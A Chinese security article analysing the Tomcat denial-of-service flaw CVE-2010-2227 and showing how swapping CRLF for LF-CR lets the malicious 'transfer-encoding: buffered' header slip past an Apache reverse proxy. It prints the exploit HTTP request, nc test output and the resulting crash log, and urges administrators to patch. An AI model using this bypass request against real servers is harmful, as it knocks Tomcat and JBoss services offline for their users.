作者: 空虚浪子心, 出处:IT专家网
从长远的角度讲，一个完整的安全方案，应该是和现有架构本身的特性，是分开的，它并不能因为现有应用架构拦截了攻击，于是自己就表示影响不大。如果安全方案总是依靠应用现有的特性，那就要承受可能被绕过的隐患，这种隐患，导致我们总有一天，会不得不把补丁老老实实的打上去。如本文就是一个很好的例子。
在上一篇文章《Tomcat远程拒绝服务漏洞分析(CVE-2010-2227)》http://inbreak.net/?action=show&id=168中，笔者根据TOMCAT的补丁，分析出了攻击未修补版本的POC，相信不少人体验了一把。然而在实际使用中，只有小公司喜欢把tomcat放在最外面。大企业都喜欢在tomcat外面使用apache等web server转发，以便获得更好的响应速度，或者为了分离静态文件，减轻服务器压力。
对于这样的情况，你会发现使用笔者给的POC，这里是无效的，关于这一点，官方如下描述“This flaw is mitigated if Tomcat is behind a reverse proxy (such as Apache httpd 2.2) as the proxy should reject the invalid transfer encoding header.”他说如果你的tomcat外面还有一层web server做转发，就会减轻这个漏洞带来的危害。
也许大家看到这个，放心了很多，就没有修补。
官方这么讲，是什么原理呢？我们看下攻击的POC：
|
POST /CodePK/updateinfo HTTP/1.1 Host: localhost Keep-Alive: 300 Connection: keep-alive
transfer-encoding: buffered
Content-Length: 145 u_uid=admin&u_pwd0=123456&u_pwd1=&u_pwd2=&u_email=rfes%40rfes.com&u_location=B2B&u_lang=1&u_web=22222222&u_quote=ffvd&u_submit=%E6%8F%90%E4%BA%A4 |
遇到这样的HTTP头，apache会因为有”transfer-encoding: buffered”，则自动拦截下来，自己处理掉这个数据包，不交给tomcat处理，并直接返回错误。这是出于apache自己的原因造成的，但是这不重要。重要的是，这个拦截的机制，能否被绕过。TOMCAT仍然老老实实的在apache后面等候数据包，如果能绕过，它就会再次忠实的睡大觉。要绕过apache的“自动拦截”(这个名字好记点)，就必须让apache不认识这个头。
发个数据包，这是拦截后返回的信息：
|
A:\tools>nc -vv localhost 80 < aa.txt DNS fwd/rev mismatch: kxlzx != localhost billgates [127.0.0.1] 80 (http) open HTTP/1.1 500 Internal Server Error ……..省略 <p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p> …….省略 |
Apache返回了500 Internal Server Error，如果去掉那个头”transfer-encoding: buffered”，返回就200 OK了，但是也就打不死了。
看起来这是个死循环，永远搞不定，所以tomcat官方也说了能减轻危害。
但是，如果apache和tomcat对某些字符的理解不一致，可能会apache放过某些字符，但是tomcat却刚巧认识，又如果这个字符刚好能影响到这里，就会bypass这个所谓的“防御架构”，所以我们找找看有没有这样“猥琐”的字符存在。
Apache和Tomcat实现原理不一样(废话)，所以，对一些字符可能理解不一致，是正常的。
我们先看看大家对http heads的分段是如何理解的，我查到“CRLF”，从apache源码中看到，它把crlf定义为“\r\n”，转换为也就是16进制的“0D 0A”(为什么提16进制等下讲)，这个供参考：https://svn.apache.org/repos/asf/httpd/flood/trunk/flood_test.c
其实我不熟悉C，也不知道这段主要是做什么的，但是看到它的确定义了
“#define CRLF "\r\n"”，只有这一个对crlf的定义。
这有什么用呢？这其实表示，apache所理解CRLF，就是“\r\n”，它不认识“\n\r”(看仔细点，反过来了)。
悲剧的是，tomcat和JBOSS认识它们，并且很喜欢它们!
Tomcat和jboss对这个东西的定义含义是
“If (xx==’\r’|| xx==’\n’)”
就是说，不但把字符反过来写它们认识，就算拆成骨头，TOMCAT和JBOSS也认识。
知道了这个关键点，下面思路就有了。我们把”transfer-encoding: buffered”这个字段，伪装成其他字段的一部分，让apache放过去，交给tomcat处理就可以了。
POC：
于是我使用16进制编辑器，UltraEdit打开我复制出来的数据包文件aa.txt
找到
transfer-encoding: buffered
把这一行之前的字符
注意括起来的两个地方，把它们顺序分别颠倒一下，两个地方的“0D 0A”都改为“0A 0D”。改后如下：
原来包是这样的：
|
Connection: keep-alive 这是字段1
transfer-encoding: buffered 这是字段2
Content-Length: 145 这是字段3
|
三个字段其实属于同一个字符串，他们的间隔本来是“\r\n”，我们改为“\n\r”。一旦这个包发给apache后，apache认为只有一个字段”Connection”过来了，接着就把这个字段原封不动的交给tomcat。
可怜的tomcat看到这个包，却认为它是三个字段，解开了这个炸药包，所以，砰。。。挂了
现在把我改后的文件，使用nc提交上去：
|
A:\tools>nc -vv localhost 80 < aa.txt DNS fwd/rev mismatch: kxlzx != localhost billgates [127.0.0.1] 80 (http) open HTTP/1.1 404 Not Found Date: Sat, 24 Jul 2010 01:48:34 GMT Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 1006 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
<html><head><title>Apache Tomcat/5.5.29 – Error r font-size:22px;} H2 {font-family:Tahoma,Arial,san ;color:white;background-color:#525D76;font-size:1 ahoma,Arial,sans-serif;color:white;background-col olor : black;}A.name {color : black;}HR {color : noshade"><p><b>type</b> Status report</p><p><b>me einfo) is not available.</u></p><HR size="1" nosh |
当有信息返回时，再看看tomcat的控制台，已经一大堆异常了，测试apache后面的JBOSS也是一样，统统挂掉。
|
2010-7-24 9:48:34 org.apache.coyote.http11.Http11AprProcessor process
严重: Error finishing request
java.lang.NullPointerException at org.apache.coyote.http11.filters.BufferedInputFilter.doRead(B nputFilter.java:90) at org.apache.coyote.http11.filters.IdentityInputFilter.end(Iden tFilter.java:161) at org.apache.coyote.http11.InternalAprInputBuffer.endRequest(In rInputBuffer.java:378) at org.apache.coyote.http11.Http11AprProcessor.process(Http11Apr r.java:862) at org.apache.coyote.http11.Http11AprProtocol$Http11ConnectionHa ocess(Http11AprProtocol.java:640) at org.apache.tomcat.util.net.AprEndpoint$Worker.run(AprEndpoint 87) at java.lang.Thread.run(Thread.java:619) 2010-7-24 9:48:34 org.apache.coyote.http11.Http11AprProtocol$Http11Conne dler process
严重: Error reading request, ignored
java.lang.NullPointerException at org.apache.coyote.http11.filters.BufferedInputFilter.recycle( InputFilter.java:105) at org.apache.coyote.http11.InternalAprInputBuffer.nextRequest(I prInputBuffer.java:356) at org.apache.coyote.http11.Http11AprProcessor.process(Http11Apr |
所以，大家躲在apache的http proxy后面的tomcat和JBOSS，就不要抱着侥幸心理了，速度修补吧！
遇到这样的漏洞，能对服务器造成极大危害，而我们的架构又刚好符合官方描述的“安全状态”时，可以放缓处理，但是不能不处理。很多官方最喜欢做的，就是完全站在开发产品的角度，不懂安全的含义，就直接针对POC，出一套解决方案。无数的事实证明，这样的方案，是最容易被绕过的。
0 条评论。